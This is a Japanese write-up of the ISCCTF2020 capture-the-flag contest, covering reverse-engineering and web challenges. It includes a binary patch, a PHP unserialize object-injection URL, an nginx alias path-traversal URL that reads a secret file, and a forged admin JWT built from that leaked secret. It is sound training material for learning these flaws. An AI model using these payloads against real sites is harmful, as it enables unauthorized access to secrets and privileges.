ISCCTF2020のwriteup的サムシン
- 前置き
- [Rev 100] strings
- [Rev 468] bookshop
- [Rev 495] The Full Bug
- [Web 100] Greetinjs
- [Web 285] Yonezer
- [Web 475] mark damn it
- [Web 491] crackjwt
- [Misc 468] Shell Ain't Bad Place to Be
- [Forenssics 387] Last Logon
前置き
2020/10/24 10:00~23:00(JST)で開催されたISCCTF2020に参加しました。
最終的に6位でした
Pwnは何も知らないので一番簡単そうなBOF問だけ解いてそれ以外は全部ダメでした
formatStringAttack*1とかROPとか何するかは知ってるけどやり方を知らないので結局意味ないですね
でもそれ以外の点が出る問題は全部解けたのでいい感じです。
Miscの競プロ問も面白そうだし点だしても良かったんじゃね?とか思いました。自分は競技プロできないので死ぬほど時間かかりそうです。
とりあえずPwn以外でWriteupを書いていこうと思います。
[Rev 100] strings
Stringsコマンド叩けば出てきます
[Rev 468] bookshop
本屋さんアプリ的なもののバイナリがもらえます
とりあえずお買い物してみます
What will you do?
buy(b)/status(s)/read(r)
b
now stock is...
shop status is ...
item |price |stock
-----------------------------------
Kirara 380 3
MAX 380 3
Carat 490 1
Forward 590 2
Miracle 366 3
flag 65535 1
-----------------------------------
what do you want?
> Kirara
buying Kirara ...
Thank you for your purchase!!
What will you do?
buy(b)/status(s)/read(r)
r
you having...
Kirara
Which one do you read?
>Kirara
Sorry can't read Kirara
What will you do?
buy(b)/status(s)/read(r)
s
shop status is ...
item |price |stock
-----------------------------------
Kirara 380 2
MAX 380 3
Carat 490 1
Forward 590 2
Miracle 366 3
flag 65535 1
-----------------------------------
your status is ...
--------------------
having...
Kirara
current money is ... 1620
-------------------
買ったものは読めるようになるっぽいので、flagを買って中身を読んでみたいです。
What will you do?
buy(b)/status(s)/read(r)
b
now stock is...
shop status is ...
item |price |stock
-----------------------------------
Kirara 380 2
MAX 380 3
Carat 490 1
Forward 590 2
Miracle 366 3
flag 65535 1
-----------------------------------
what do you want?
> flag
Oops!!
You don't have enough money to buy it
Your current money is 1620
お金が足りないようです。
ここでズルをする方法として、
1. 頑張ってバイナリを読んでflagの中身を取り出す
2. 所持金をめっちゃ増やす
3. flagの値段を買える値段にする
とかがあると思います
自分は、なんか楽そうだったので3の値段安くする方法でやりました
値段を設定しているところを探すためにとりあえずバイナリの中身を見てみます
IDAはなんかこういい感じにしてくれるのでgdb-pedaで脳死pdisass mainができなくてめんどくさいときにぶん投げると導いてくれます(たぶん)
なんとなく17Chとか1EAhとか24Ehとかが10進数に直すと380,490,590と、値段で見たことある感じの値があります。そのなかに0FFFFhとflagの値段の65535っぽいのがあるので、これを適当な値に書き換えてみます。
命令のアドレスで場所を特定して、FF FF 00 00を6E 01 00 00と書き換えます。(10進で366)
これで実行すると
Welcome to BookStore!!
What will you do?
buy(b)/status(s)/read(r)
s
shop status is ...
item |price |stock
-----------------------------------
Kirara 380 3
MAX 380 3
Carat 490 1
Forward 590 2
Miracle 366 3
flag 366 1
-----------------------------------
your status is ...
--------------------
current money is ... 2000
-------------------
ちゃんと書き換わっています
いい感じになったので、flagを買って読んでみます
What will you do?
buy(b)/status(s)/read(r)
b
now stock is...
shop status is ...
item |price |stock
-----------------------------------
Kirara 380 3
MAX 380 3
Carat 490 1
Forward 590 2
Miracle 366 3
flag 366 1
-----------------------------------
what do you want?
> flag
buying flag ...
Thank you for your purchase!!
What will you do?
buy(b)/status(s)/read(r)
r
you having...
flag
Which one do you read?
>flag
ISCCTF{y0u_c4n_p4tch_b1n4r13s_w1th_xxd_4nd_vim}
[Rev 495] The Full Bug
この問題はあんまり良くない解き方をしてしまいました
もらえるバイナリは、たぶんコマンドライン引数にフラグ文字列を入れてそれが正しいかそうでないかとか判定するやつだと思います(中身をよく見ていない)
そして、動的解析をしようとするとめっちゃ怒られます
なんかよくわからんしめんどくさそうなのでIDAさんに突っ込みます。
関数一覧の一部ですが、C++かRustの人間の温かみをあまり感じられないものが大量に出てきます。
mainから呼び出しを辿っていくと、The_Full_Bug::mainなる関数がでてきて、これが処理の中心な感じがします。
ダイヤグラムを見る感じ、なんかいろいろなことをしてそうです。
もう少し詳しく見てみます。
右側中央の大きなブロックの中に配列にデータを突っ込んでそうなコードを見つけました。
16進部分だけ持ってくると
46 43 5B 51 44 24 47 52 70 26 57 25 76 78 53 7F 4F 43 2C 7F 5B 52 20 73 5B 52 6D 6F 58 53 2C 7C 58 24 2C 24 5B 41 5B 7E 4D 26 44 62 4D 27 44 6F 71 51 5B 7F 71 53 2C 7E 58 27 5F 24 4F 27 76 6D 77 78 71 2C
こんな感じのデータが取れました。
その後の処理を見ていくと、
_$LT$alloc..vec..Vec$LT$T$GT$$u20$as$u20$core..ops..deref..Deref$GT$::deref::h095f8fa7760680c1
core::slice::_$LT$impl$u20$$u5b$T$u5d$$GT$::iter::hbf4a62277f4c02b7
core::iter::traits::iterator::Iterator::map::h4ec00d9c43bda0fd
core::iter::traits::iterator::Iterator::collect::h5b2f0cfab82d6013
base64::decode::decode::h75202e9d7508ae03
core::result::Result$LT$T$C$E$GT$::unwrap::hef1d52418495604f
alloc::string::String::from_utf8::h9956b5d28caa9b81
core::result::Result$LT$T$C$E$GT$::unwrap::hf0324079e5d371f6
core::fmt::ArgumentV1::new::h593d68c1ab5846f7
core::fmt::Arguments::new_v1::h09c81c25c4a3b7d7
std::io::stdio::_print::h20eb70976f14aeea
のように関数呼び出しが続きます。
わざわざ1byteごとにメモリに入れてたのも踏まえつつ、雰囲気で見ると、mapで1byteづつ取り出して各々なんかしらの処理を加えたものをbase64でデコードしたものをプリントしているように見えます。
だいたいの場合1byteごとに処理するのはXORか加減算くらいなので、とりあえずCyberChefにさっきのバイト列を突っ込んでXOR Brute Forceをしてみます
なんとなくKey = 0x15のときだけBase64っぽいので、Base64デコードまでしてみます。
フラグでました
たぶん本当はデバッガ検知を無効にしたりAngrで殴ったり色々しないといけないような気がします。
[Web 100] Greetinjs
JSのソースを読むとあります
[Web 285] Yonezer
アクセスするとこんな画面です
Sourceを押すとソースコードを見せてくれます
<html>
<head>
<meta charset="UTF-8">
<link rel="stylesheet" href="style.css">
</head>
<body>
<?php
function html($string) {
return htmlspecialchars($string);
}
$flag = file_get_contents("../flag.txt");
class secret{
public function data(){
global $flag;
echo($flag);
}
}
class share_video{
public $text="Hello Everone";
public function data(){
echo("<h1>" . html($this->text) . "</h1><br>");
echo("<MARQUEE><h1>Do you like this video 👀?</h1></MARQUEE>\n");
$urls = ["https://www.youtube.com/embed/s582L3gujnw","https://www.youtube.com/embed/gJX2iy6nhHc", "https://www.youtube.com/embed/SX_ViT4Ra7k","https://www.youtube.com/embed/Zw_FKq10S8M"];
$num = rand(0,3);
$url = $urls[$num];
echo ("<div id=\"all\"><iframe width=\"1000\" height=\"600\" src=\"". $url . "\"></iframe></div>");
}
}
$serialized = @$_GET["data"];
$hoge = @unserialize($serialized);
if($hoge){
$hoge->data();
}
?>
</body>
</html>
画面表示をするために、オブジェクトのdataメソッドを呼んでいますが、オブジェクトの取得元は、GETパラメータで受け取った文字列をunserialize関数でphp変数に戻したものです。
マニュアルにあるように、unserialize関数はユーザが直接いじれる値に使ってはいけないようです。
問題のソースコードを読む感じでは、flag変数にflag.txtの内容があり、secretクラスのdataメソッドを呼ぶと表示してくれそうなので、そういう感じにしたいです。
ここで、URLをみてみると、
http://[server_addr]/share.php?data=O:11:"share_video":1:{s:4:"text";s:13:"Hello%20Everone";}
と良さげな感じのデータが乗っています。これはシリアライズされたクラスのデータのハズです。
中身はよくわかんないですが、とりあえず今はsecretのdataを呼び出せればいいので、クラス名っぽいところと文字数だけ変えてアクセスしてみます。
http://[server_addr]/share.php?data=O:6:"secret":1:{s:4:"text";s:13:"Hello%20Everone";}
[Web 475] mark damn it
Markdownを入力してConvertを押すとHTMLに変換してくれます。
問題添付ファイルのうち、Gemfileを見てみます。
source "https://rubygems.org"
git_source(:github) {|repo_name| "https://github.com/#{repo_name}" }
gem "kramdown", "2.2.1"
gem "sinatra"
gem "puma"
MarkdownからHTMLへの変換はkramdownを使っていそうです。
わざわざバージョンを指定している感じがとても怪しいので少し調べてみます。
2020年の7月に発表されたての脆弱性:CVE-2020-14001が出てきました。
kramdownの2.3.0未満のバージョンには任意ファイルの読み込みと任意コードの実行ができる脆弱性があるようです。
今回の問題では2.2.1が使われているので、この脆弱性を使えそうです。
このページ*2のように、テンプレートオプションの中にうまい具合にしてコマンドを入れ込んで、サーバのディレクトリ内を調べていきます。
フラグファイルっぽいものがあったので中身を覗いてみます
[Web 491] crackjwt
かわいい*3
Get Flagを押してみます
adminじゃないとフラグは読ませてくれないようです。
問題文がjwtをcrackしろと言っているのでjwtについて調べてみます
なんかしらの情報とハッシュをくっつけて認証とかに使うモノのようです。
ここで問題ページのソースコードを見てみます。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>crackjwt</title>
<style>
p {
text-align: center;
}
.flgBtn {
display: inline-block;
padding: 0.3em 1em;
text-decoration: none;
color: #1DA1F2;
border: solid 2px #1DA1F2;
border-radius: 3px;
transition: .5s;
}
.flgBtn:hover {
background: #1DA1F2;
color: white;
}
</style>
</head>
<body>
<p>
<img src="static/welcome.gif" alt="welcome"><br>
<a href="flag.php" class="flgBtn">Get Flag</a>
</p>
<!-- <a href="?source">debug</a> -->
</body>
</html>
コメントに消しそびれみたいなものがあるのでその記述にそって、?sourceをURLにつけてアクセスしてみると、そのページのphpのソースコードが表示されました。
indexページとflag.phpのソースがそれぞれ見れたので、関係ありそうなところだけ見ていきます。
index
$file = fopen('/var/www/app/private/secret.txt', 'r');
$secret = fgets($file);
fclose($file);
if (!isset($_COOKIE['token'])) {
setcookie('token', generate($secret));
}
function generate($secret)
{
$header = json_encode(array(
'alg' => 'sha256',
'typ' => 'JWT'
));
$payload = json_encode(array(
'isAdmin' => '0'
));
$signature = hash('sha256', $header . $payload . $secret);
return trim(base64_encode($header), '=') . '.' .
trim(base64_encode($payload), '=') . '.' .
trim(base64_encode($signature), '=');
}
flag.php
$file = fopen('/var/www/app/private/secret.txt', 'r');
$secret = fgets($file);
fclose($file);
if (!isset($_COOKIE['token'])) {
$flg = 1;
}
$parted = explode('.', $_COOKIE['token']);
$signature = $parted[2];
if (isset($flg) || hash('sha256', base64_decode($parted[0]) . base64_decode($parted[1]) . $secret) != base64_decode($signature)) {
die('<script>alert("Invalid token!!");document.location="/"</script>');
}
$payload = json_decode(base64_decode($parted[1]), true);
$isAdmin = $payload["isAdmin"];
if ($isAdmin == 0) {
echo '<img src="static/nyoronyoro.gif" alt="nyoronyoro"><p>You don\'t have the authority to read flag.<br>Please come back as an administrator.</p>';
} else {
require('/var/www/app/private/flag.php');
echo '<img src="./static/congrats.gif" alt="congrats"><p>Congrats!!<br><strong>' . $flag . '</strong></p>';
}
Cookieの中のtokenがJWTのようです。
Cookieの中身を確認してみると、
token=eyJhbGciOiJzaGEyNTYiLCJ0eXAiOiJKV1QifQ.eyJpc0FkbWluIjoiMCJ9.Yzc5Y2Y2MzlkYjkyNjdjZDkwNzJhNDkyODU0ZTE0ZWYwOTI2NDI3NTlkN2M0YmViN2Y1NDBjOTU4NWYzNzFjYg
のようになっています。
jwtは「.」区切りでbase64エンコードされているので各々デコードすると、
{"alg":"sha256","typ":"JWT"}
{"isAdmin":"0"}
c79cf639db9267cd9072a492854e14ef092642759d7c4beb7f540c9585f371cb
このように3つのデータを取り出せます。
isAdminを1にすればadminとして認めてくれそうな気がします。
このページにおいて、認証処理がどのようになっているかを確認するためにflag.phpのコードを見てみます。
flag.phpのコードから、認証の処理は
$parted = explode('.', $_COOKIE['token']);
$signature = $parted[2];
if (isset($flg) || hash('sha256', base64_decode($parted[0]) . base64_decode($parted[1]) . $secret) != base64_decode($signature)) {
die('<script>alert("Invalid token!!");document.location="/"</script>');
}
のように、tokenのヘッダとペイロードとsecretをつなげたモノのsha256ハッシュが、シグネチャと一致していないと弾かれるようになっています。
なんとかして、でっち上げたJWTを本物と認識させたいです。
このサイトにあるnone-attackは、今回の問題では3シグネチャが必ず必要になるため使うことができません。
また、brute-force secretでもどの辞書を使っても特定することができませんでした。脆弱なsecretは使われていないようです。
そうなると、別の方法でsecretを手に入れなければなりません。
flag.phpのコードを見ると、secretは
/var/www/app/private/secret.txt
にあるようです。 まともな設定なら見られなさそうな場所です。
問題の添付ファイルにnginx.confがあるので中身を見てみます。
server {
index index.php index.html;
server_name localhost;
root /var/www/html;
location / {
try_files $uri $uri/ /index.php$is_args$args;
}
location /static {
alias /var/www/app/static/;
}
location ~ \.php$ {
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass crackjwt:9000;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
}
}
staticのエイリアスでパストラバーサルが起こせそうです。
secret.txtを読んでみたいので
http://[server_addr]/static../private/secret.txt
にアクセスしてみます。
secret.txtの中身のようなものが手に入りました。
JWTの形式は先ほどの通りなので、
{"alg":"sha256","typ":"JWT"}{"isAdmin":"1"}48a939f9d0ef3778ee4fbbca6ffdd933
をsha256ハッシュしてBase64エンコードしたものがシグネチャ部分になります。
残りのヘッダとペイロードもBase64エンコードして「.」でつなげます。
eyJhbGciOiJzaGEyNTYiLCJ0eXAiOiJKV1QifQ.eyJpc0FkbWluIjoiMSJ9.ZmFlNjNhNjFkMTExYTRiYmY2MmU5YzAzZmI1N2U5MTNmM2FmYjE5OTdiNDVjMzA4MDNjZDljYjgxYmY4ODc3YQ
これをCookieにセットして、flag.phpにアクセスします。
[Misc 468] Shell Ain't Bad Place to Be
// maybe-later:
[Forenssics 387] Last Logon
// maybe-later:
./rip.exe -r SAM -a